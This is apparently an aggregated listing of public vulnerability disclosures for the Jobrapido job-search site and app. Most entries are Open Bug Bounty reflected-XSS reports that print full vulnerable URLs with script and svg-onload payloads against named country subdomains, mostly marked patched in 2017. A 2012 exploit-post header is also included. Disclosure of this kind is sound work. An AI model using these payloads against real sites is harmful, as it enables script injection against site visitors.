Job Search – Jobrapido - Dangerous filesystem permissions, WebView code execution vulnerabilities

HackApp vulnerability scanner discovered that application Job Search – Jobrapido published at the 'play' market has multiple vulnerabilities...

do.jobrapido.com XSS vulnerability

Vulnerable URL: http://do.jobrapido.com/?w=test=%3C/title%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:30 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

sg.jobrapido.com XSS vulnerability

Vulnerable URL: http://sg.jobrapido.com/?w=test=%3C/title%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:29 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

ca.jobrapido.com XSS vulnerability

Vulnerable URL: http://ca.jobrapido.com/?w=test=%3C/title%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:29 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

ae.jobrapido.com XSS vulnerability

Vulnerable URL: http://ae.jobrapido.com/?w=test=%3C/title%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:29 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

gt.jobrapido.com XSS vulnerability

Vulnerable URL: http://gt.jobrapido.com/?w=test=%3C/title%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:29 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

in.jobrapido.com XSS vulnerability

Vulnerable URL: http://in.jobrapido.com/?w=test=%3C/title%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:28 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

th.jobrapido.com XSS vulnerability

Open Bug Bounty ID: OBB-174353 Description| Value ---|--- Affected Website:| th.jobrapido.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

tr.jobrapido.com XSS vulnerability

Vulnerable URL: http://tr.jobrapido.com/?w=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E= Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 12:32 GMT Vulnerability type:| XSS...

pl.jobrapido.com XSS vulnerability

Vulnerable URL: http://pl.jobrapido.com/?w=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E= Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 12:32 GMT Vulnerability type:| XSS...

in.jobrapido.com XSS vulnerability

Vulnerable URL: http://in.jobrapido.com/?w=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E= Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 12:31 GMT Vulnerability type:| XSS...

es.jobrapido.com XSS vulnerability

Vulnerable URL: http://es.jobrapido.com/?w=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E=%22%3E%3Csvg%2fonload%3dprompt%28%2fxssposed%2f%29%3E= Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 12:31 GMT Vulnerability type:| XSS...

Jobrapido.com Cross Site Scripting

+--------------------------------------------------------------------------------------------------------------------------------+ Exploit Title : Jobrapido.com Multiple XSS Date : 07-03-2012 Author : Ivano Binetti http://www.ivanobinetti.com Web site : http://www.jobrapido.com Web master...